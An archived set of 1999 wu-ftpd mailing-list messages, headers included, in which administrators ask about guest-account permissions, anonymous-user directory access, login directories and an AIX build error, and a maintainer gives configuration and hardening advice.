Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA01392;
Tue, 30 Mar 1999 10:23:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA19929;
Tue, 30 Mar 1999 10:17:39 -0600 (CST)
Received: from NIH2WAAF (smtp6.site1.csi.com [149.174.183.75])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA10715
for <[email protected]>; Tue, 30 Mar 1999 10:15:52 -0600 (CST)
Received: from mail pickup service by csi.com with Microsoft SMTPSVC;
Tue, 30 Mar 1999 11:15:08 -0500
Received: from altavista.net (p101-2.choin.netsurf.de [194.163.34.101])
by hil-img-ims-3.compuserve.com (8.8.6/8.8.6/IMS-1.7) with ESMTP id LAA28522
for <[email protected]>; Tue, 30 Mar 1999 11:14:26 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 18:18:42 +0200
Reply-To: [email protected]
Sender: [email protected]
From: derget <[email protected]>
To: [email protected]
Subject: ftp over two nic�s for more performence
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.07 [de] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

i will run wuftp over two nic�s on two ip`s

to have more performense in my local network

is this possible , the wuftp is located unter one ip

and then automaticaly switches the users to the two nic�s

derget

From [email protected] Tue Mar 30 10:42:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA01824;
Tue, 30 Mar 1999 10:42:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA21254;
Tue, 30 Mar 1999 10:36:57 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA05934
for <[email protected]>; Tue, 30 Mar 1999 10:33:53 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA24898;
Tue, 30 Mar 1999 11:33:32 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 11:33:32 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: derget <[email protected]>
Cc: [email protected]
Subject: =?X-UNKNOWN?Q?Re=3A_ftp_over_two_nic=B4s_for_more_performen?=
=?X-UNKNOWN?Q?ce?=
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by wugate.wustl.edu id KAA12410
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 30 Mar 1999, derget wrote:

> i will run wuftp over two nic�s on two ip`s
> to have more performense in my local network
> is this possible , the wuftp is located unter one ip
> and then automaticaly switches the users to the two nic�s

Not without some serious hacking. I'd bond the NICs together on the same
IPs and use load-balancing, myself.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 30 11:22:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA02457;
Tue, 30 Mar 1999 11:22:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA31986;
Tue, 30 Mar 1999 11:16:31 -0600 (CST)
Received: from wukon.appliedtheory.com ([email protected] [204.168.18.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA16381
for <[email protected]>; Tue, 30 Mar 1999 11:15:16 -0600 (CST)
Received: from wukon.appliedtheory.com (IDENT:jreed@localhost [127.0.0.1])
by wukon.appliedtheory.com (8.9.1/8.9.1) with ESMTP id MAA16049
for <[email protected]>; Tue, 30 Mar 1999 12:15:17 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 12:15:16 -0500
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: Problems with ownership of files in guest accounts
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: exmh version 2.0.2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

We are trying to setup a situation using wu-ftp-2.4.2 as follows:

* guest accounts are chrooted, readable and writeable by owners.
* guests can only read their own directory, not any neighboring ones.
(should get this from chroot)
* a special local account ("xfer") can read and write all guest directories,
to retrieve files that were uploaded to guest accounts, put files in
guest accounts for downloading.
* local account (xfer) uses scp (ssh version of rcp) to get/put files - they
are actually scp'd to/from a remote account to the xfer account.

I tried giving guest dirs xfer's group ownership, which was different than the
guest account group, but then when xfer writes a file in a guest account, it
gets xfer's total ownership, and guest account can't access it via uid or gid.

Anyone out there who can explain how a local account, accessed remotely,
can put files in guest accounts such that guests can read files *AND*
overwrite them???

TIA...

--
Judith Reed
[email protected]
(315) 453-2912 x335

From [email protected] Tue Mar 30 11:34:43 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA02616;
Tue, 30 Mar 1999 11:34:42 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA20161;
Tue, 30 Mar 1999 11:29:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA10721
for <[email protected]>; Tue, 30 Mar 1999 11:24:51 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA25371;
Tue, 30 Mar 1999 12:24:34 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 12:24:34 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problems with ownership of files in guest accounts
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 30 Mar 1999 [email protected] wrote:

> I tried giving guest dirs xfer's group ownership, which was different
> than the guest account group, but then when xfer writes a file in a
> guest account, it gets xfer's total ownership, and guest account can't
> access it via uid or gid.
>
> Anyone out there who can explain how a local account, accessed
> remotely, can put files in guest accounts such that guests can read
> files *AND* overwrite them???

scp will create the file on the target with the uid/gid from /etc/passwd
for the username on the target.

when I do what you're talking about here, I scp the files into my home,
then ssh in to put them into the right place. before I mv, I chgrp the
file and check the permissions.

on one system, I had a need to it to be completely done with scp. I
hacked the scp source to do the chgrp and chmod for me.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 30 14:42:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA05395;
Tue, 30 Mar 1999 14:42:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA25024;
Tue, 30 Mar 1999 14:33:23 -0600 (CST)
Received: from smtp4.server.ibm.com (smtp4.ny.us.ibm.com [198.133.22.43])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA01525
for <[email protected]>; Tue, 30 Mar 1999 14:29:15 -0600 (CST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
by smtp4.server.ibm.com (8.8.7/8.8.7) with ESMTP id PAA24638
for <[email protected]>; Tue, 30 Mar 1999 15:28:42 -0500
Received: from D51MTA03.pok.ibm.com (d51mta03.pok.ibm.com [9.117.200.31])
by northrelay02.pok.ibm.com (8.8.8m2/NCO v1.8) with SMTP id PAA195070
for <[email protected]>; Tue, 30 Mar 1999 15:28:42 -0500
Received: by D51MTA03.pok.ibm.com(Lotus SMTP MTA v4.6.4 (817.1 3-4-1999)) id 85256744.007076E4 ; Tue, 30 Mar 1999 15:28:24 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 15:28:27 -0500
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: newest version of wu-ftpd for AIX 4.3.2?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Lotus-FromDomain: IBMUS
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I'm trying to run the most recent version of wu-ftpd (or at least more recent
than beta 15, since according to the security folks at my site this has a hole)
on AIX 4.3.2. When I compile and run beta 18, I get the following error when I
try to get a file in binary mode:

ftp> get bos.compat.usr.4.3.1.
0200 PORT command successful.
150 Opening BINARY mode data connection for bos.compat.usr.4.3.1.0 (0 bytes).
451 Local resource failure: malloc: Error 536880640 occurred..
ftp>

I looked this up in the archives and there is a post where the user simply went
to beta 16 and it worked. Does anyone know how this is fixed on beta 18, and if
not, where I can get the beta 16 distribution/source?

Thanks for any help.

Matt Newton
IBM Global Services
Center for Scalable Computing Solutions
T.J. Watson Research Center

From [email protected] Tue Mar 30 15:12:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA05875;
Tue, 30 Mar 1999 15:12:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA10808;
Tue, 30 Mar 1999 15:07:07 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA15854
for <[email protected]>; Tue, 30 Mar 1999 15:00:38 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA27530;
Tue, 30 Mar 1999 16:00:30 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 16:00:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: newest version of wu-ftpd for AIX 4.3.2?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 30 Mar 1999 [email protected] wrote:

> I'm trying to run the most recent version of wu-ftpd (or at least more
> recent than beta 15, since according to the security folks at my site
> this has a hole) on AIX 4.3.2.

The security holes you were told about were NOT fixed by beta-18. I have
no idea how the AIX problem was fixed, btw.

To review the security information yourself, read

CERT Advisory CA-99.03 - FTP-Buffer-Overflows
http://www.cert.org/advisories/CA-99-03-FTP-Buffer-Overflows.html

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 30 15:57:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA06552;
Tue, 30 Mar 1999 15:57:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA27552;
Tue, 30 Mar 1999 15:52:04 -0600 (CST)
Received: from smtp7.ny.us.ibm.com (smtp7.ny.us.ibm.com [198.133.22.19])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA24775
for <[email protected]>; Tue, 30 Mar 1999 15:46:04 -0600 (CST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
by smtp7.ny.us.ibm.com (8.8.7/8.8.7) with ESMTP id QAA49998;
Tue, 30 Mar 1999 16:45:32 -0500
Received: from D51MTA03.pok.ibm.com (d51mta03.pok.ibm.com [9.117.200.31])
by northrelay02.pok.ibm.com (8.8.8m2/NCO v1.8) with SMTP id QAA31402;
Tue, 30 Mar 1999 16:45:25 -0500
Received: by D51MTA03.pok.ibm.com(Lotus SMTP MTA v4.6.4 (817.1 3-4-1999)) id 85256744.00777C57 ; Tue, 30 Mar 1999 16:45:06 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 16:45:06 -0500
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: Gregory A Lundberg <"lundberg+wuftpd"@vr.net>
Cc: [email protected]
Subject: Re: newest version of wu-ftpd for AIX 4.3.2?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Lotus-FromDomain: IBMUS
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greg,

Thanks for the information. I'll be sure to review the info since it appears
that my security folks are under the impression that whatever's wrong with beta
15 is fixed with the newest release.

I was able to compile beta 18, vr 15 and the bug went away. Thanks to those who
sent suggestions.

Matt Newton
IBM Global Services
Center for Scalable Computing Solutions
T.J. Watson Research Center

Gregory A Lundberg <"lundberg+wuftpd"@vr.net> on 03/30/99 04:00:30 PM

To: Matthew Newton/Watson/IBM
cc: [email protected]
Subject: Re: newest version of wu-ftpd for AIX 4.3.2?

On Tue, 30 Mar 1999 [email protected] wrote:

> I'm trying to run the most recent version of wu-ftpd (or at least more
> recent than beta 15, since according to the security folks at my site
> this has a hole) on AIX 4.3.2.

The security holes you were told about were NOT fixed by beta-18. I have
no idea how the AIX problem was fixed, btw.

To review the security information yourself, read

CERT Advisory CA-99.03 - FTP-Buffer-Overflows
http://www.cert.org/advisories/CA-99-03-FTP-Buffer-Overflows.html

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 31 15:12:43 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA23886;
Wed, 31 Mar 1999 15:12:42 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA30166;
Wed, 31 Mar 1999 15:04:46 -0600 (CST)
Received: from pecos.mis.earthlink.net (pecos.mis.earthlink.net [207.217.69.23])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA30427
for <[email protected]>; Wed, 31 Mar 1999 15:00:18 -0600 (CST)
Received: by pecos.mis.earthlink.net with Internet Mail Service (5.5.2448.0)
id <H70HJYAN>; Wed, 31 Mar 1999 13:00:20 -0800
Message-Id: <[email protected]>
Date: Wed, 31 Mar 1999 13:00:20 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Durham, Kenneth J" <[email protected]>
To: "'wuftp'" <[email protected]>
Subject: Permissions for USER and ANONYMOUS ftp
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have just got my anonymous ftp and my user ftp working great. One thing
though my anonymous users can get into my users folders an view everything
within them. the way i have it setup is

/ftp the root ftp folder

/ftp/usr the users ftp folder

what permisions do i have to set to make it so that the anons cant get into
the user folder but the users can still access there folders.? can someone
please help thank you.

From [email protected] Wed Mar 31 15:42:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA24300;
Wed, 31 Mar 1999 15:42:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA10326;
Wed, 31 Mar 1999 15:36:23 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA06859
for <[email protected]>; Wed, 31 Mar 1999 15:29:20 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA07146;
Wed, 31 Mar 1999 16:29:12 -0500
Message-Id: <[email protected]>
Date: Wed, 31 Mar 1999 16:29:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Durham, Kenneth J" <[email protected]>
Cc: "'wuftp'" <[email protected]>
Subject: Re: Permissions for USER and ANONYMOUS ftp
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 31 Mar 1999, Durham, Kenneth J wrote:

> I have just got my anonymous ftp and my user ftp working great. One
> thing though my anonymous users can get into my users folders an view
> everything within them. the way i have it setup is
>
> /ftp the root ftp folder
>
> /ftp/usr the users ftp folder
>
> what permisions do i have to set to make it so that the anons cant get
> into the user folder but the users can still access there folders.?
> can someone please help thank you.

1) The user 'ftp' cannot own, or belong to the group owning, /ftp/usr

2) Revoke world permissions on /ftp/usr
chmod o-r /ftp/usr --> Anonymous cannot list the directory
chmod o-w /ftp/usr --> Anonymous cannot create files/dirs there
chmod o-x /ftp/usr --> Anonymous cannot access files/dirs there

3) Reconsider your entire security model: why are real/guest users even in
the same pew as anonymous users? (You don't need to justify it to me,
just yourself.)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 31 16:34:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA24939;
Wed, 31 Mar 1999 16:30:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA30567;
Wed, 31 Mar 1999 16:20:33 -0600 (CST)
Received: from pecos.mis.earthlink.net (pecos.mis.earthlink.net [207.217.69.23])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA22238
for <[email protected]>; Wed, 31 Mar 1999 16:15:56 -0600 (CST)
Received: by pecos.mis.earthlink.net with Internet Mail Service (5.5.2448.0)
id <H70HJZCS>; Wed, 31 Mar 1999 14:15:56 -0800
Message-Id: <[email protected]>
Date: Wed, 31 Mar 1999 14:15:56 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Durham, Kenneth J" <[email protected]>
To: "'wuftp'" <[email protected]>
Subject: FTP Commands at logon
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Now that i have the users dir fixed. (By the way thank you everyone! ) How
can i have the ftp do some commands when a user logs in. I would like ftp
to change the dir that the user is in to a diffrent dir in there dir.
/ users root dir
/public_html dir that i want them to be changed to once they login

is there anyway that i can add a script when they logon just does a
cd public_html?

thanks for all your help

From [email protected] Wed Mar 31 16:39:18 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA25070;
Wed, 31 Mar 1999 16:39:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA11450;
Wed, 31 Mar 1999 16:34:31 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA18199
for <[email protected]>; Wed, 31 Mar 1999 16:27:33 -0600 (CST)
Received: from yua (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id RAA31868
for <[email protected]>; Wed, 31 Mar 1999 17:27:32 -0500
Message-Id: <[email protected]>
Date: Wed, 31 Mar 1999 17:28:30 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: "'wuftp'" <[email protected]>
Subject: RE: FTP Commands at logon
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> can i have the ftp do some commands when a user logs in. I
> to change the dir that the user is in to a diffrent dir in there dir.

Edit passwd file. Change :/: to :/./public_html:.

Alex

From [email protected] Wed Mar 31 17:04:12 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA25430;
Wed, 31 Mar 1999 17:04:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA31710;
Wed, 31 Mar 1999 16:59:06 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA03280
for <[email protected]>; Wed, 31 Mar 1999 16:55:39 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id RAA07871;
Wed, 31 Mar 1999 17:55:35 -0500
Message-Id: <[email protected]>
Date: Wed, 31 Mar 1999 17:55:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Durham, Kenneth J" <[email protected]>
Cc: "'wuftp'" <[email protected]>
Subject: Re: FTP Commands at logon
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 31 Mar 1999, Durham, Kenneth J wrote:

> Now that i have the users dir fixed. (By the way thank you everyone!
> ) How can i have the ftp do some commands when a user logs in. I
> would like ftp to change the dir that the user is in to a diffrent dir
> in there dir.
>
> / users root dir
> /public_html dir that i want them to be changed to once they login
>
> is there anyway that i can add a script when they logon just does a cd
> public_html?

When you're using classic wu-ftpd, you can change this in the passwd file.
In a VR upgrade, if you're using 'guest-root' you change it in the passwd
file inside the root area.

In all cases, this only sort-of works. Netscape and IE users won't see
the effect because of the way the web browsers handle FTP URLs.

There's a fix, though .. well sorta ..

Upgrade to VR17 (tomorrow), then use 'restricted-uid' to lock them into
their 'home' .. /public_html, in your case. Not only are they cd'd there,
they can't seem to leave it. In effect, it's a "soft" chroot. The daemon
rewrites all requests to try to keep them inside their homes. As the man
page says, though, don't _depend_ upon this working .. make them guests so
your system is safe, _then_ restirct them to their homes. It's your own
damned fault if you didn't chroot your users and they break out of the
restriction to their home directory to wreck havok on your system.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195